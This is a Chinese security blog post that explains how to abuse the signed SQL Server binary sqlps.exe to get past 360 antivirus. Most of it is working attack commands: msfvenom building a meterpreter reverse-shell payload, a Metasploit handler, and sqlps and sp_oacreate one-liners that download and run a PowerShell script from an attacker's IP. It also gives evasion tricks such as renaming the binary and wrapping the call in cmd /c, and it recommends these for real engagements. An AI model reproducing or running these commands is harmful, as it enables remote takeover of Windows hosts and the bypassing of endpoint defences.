sqlps.exe白名单的利用(过S60!)

VSole2022-05-23 08:07:11

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 sqlps.exe简介

sqlps.exe是SQL Server附带的一个具有Microsoft签名的二进制文件,用于加载SQL Server cmdlet,Microsoft Visual C#开发,可用ILSpy反编译查看源代码。

Microsoft SQL Server\100和110是Powershell v2,120和130是Powershell v4。2016中已由SQLToolsPS.exe替换,但出于兼容性原因将包含在安装中。


C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\110\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\120\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\130\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\140\Tools\Binn\sqlps.exeC:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\sqlps.exe

0x02 MSF监听并执行

使用sqlps.exe执行360.ps1后会结束掉当前这个cmd.exe命令提示符,可能要延迟几秒MSF才接收到会话信息。


msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -f psh-reflection > /var/www/html/360.ps1
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 192.168.1.120msf5 exploit(multi/handler) > set lport 443msf5 exploit(multi/handler) > exploit

sqlps执行上线:

SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"

0x03 绕过360防护执行

众所周知360和火绒对powershell.exe进程的调用监控的非常严, sqlps.exe也有可能已经被360拦截了,如下图。

已被拦截:

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe'


但我们还是可以尝试使用加壳、反编译或者重命名和cmd /c等方式来绕过sqlps.exe的执行。

绕过方式:

SQLPS1 -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"cmd /c SQLPS -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.120/360.ps1'))"
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\ProgramData\SQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.1.120/360.ps1''))"'

0x04 注意事项

实战中建议根据目标主机实际环境提取相对应版本的sqlps.exe,如单独提取出来的sqlps.exe在执行时可能会出现缺少依赖项等问题,常见的有以下两种报错。

已测试的系统和sqlps.exe见下表,测试记录见下图。

0x05 参考链接

https://mp.weixin.qq.com/s/XkleeVDz80WZy4NZqXhEfA

https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/

shell
本作品采用《CC 协议》,转载必须注明作者和本文链接
研究人员在TorchServe中发现多个高分漏洞,影响数万AI 服务器。
通过从事件日志中写入/读取 shellcode 来实现持久化。
shellcode loader的编写
2023-04-17 11:15:39
改变加载方式指针执行#include?参数1:分配的内存的起始地址,如果为NULL则由系统决定。参数2:分配的内存大小,以字节为单位。参数3:分配的内存类型,MEM_COMMIT表示将分配的内存立即提交给物理内存,MEM_RESERVE表示保留内存但不提交。参数4:分配的内存保护属性,PAGE_READWRITE可读可写,PAGE_EXECUTE_READ可执行可读。结构体的指针,用于指定新线程的安全属性,NULL表示默认安全属性
shellcode动态注入!
2023-01-24 10:15:10
声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大
跟第一代WebShell管理工具“菜刀”相比,冰蝎的流量是加密的,特征更不明显,能有效规避流量设备的检测。
shellcode编写探究
2022-06-09 15:34:57
前言shellcode是不依赖环境,放到任何地方都可以执行的机器码。shellcode的应用场景很多,本文不研究shellcode的具体应用,而只是研究编写一个shellcode需要掌握哪些知识。要使用字符串,需要使用字符数组。所以我们需要用到 LoadLibrary 和 GetProcAddress 这两个函数,来动态获取系统API的函数指针。
OneEDR 2.5版本让恶意Webshell“现原形”
今天脑子里面蹦出来个想法,免杀木马然后cs上线,本来想让cs与msf联动的,但是出了点小问题,还是先研究免杀火绒吧。
shell编程15例(三)
2022-03-25 07:43:19
1、统计当前 Linux 系统中可以登录计算机的账户有多少个 #!/bin/bash # 统计当前 Linux 系统中可以登录计算机的账户有多少个 #方法 1: grep "bash$" /etc/passwd | wc -l #方法 2: awk -f: '/bash$/{x++}end{print x}' /etc/passwd
shell编程15例(一)
2022-03-23 07:53:04
1、编写hello world脚本 #!/bin/bash # 编写hello world脚本 echo "Hello World!" 2、通过位置变量创建 Linux 系统账户及密码 #!/bin/bash # 通过位置变量创建 Linux 系统账户及密码
VSole
网络安全专家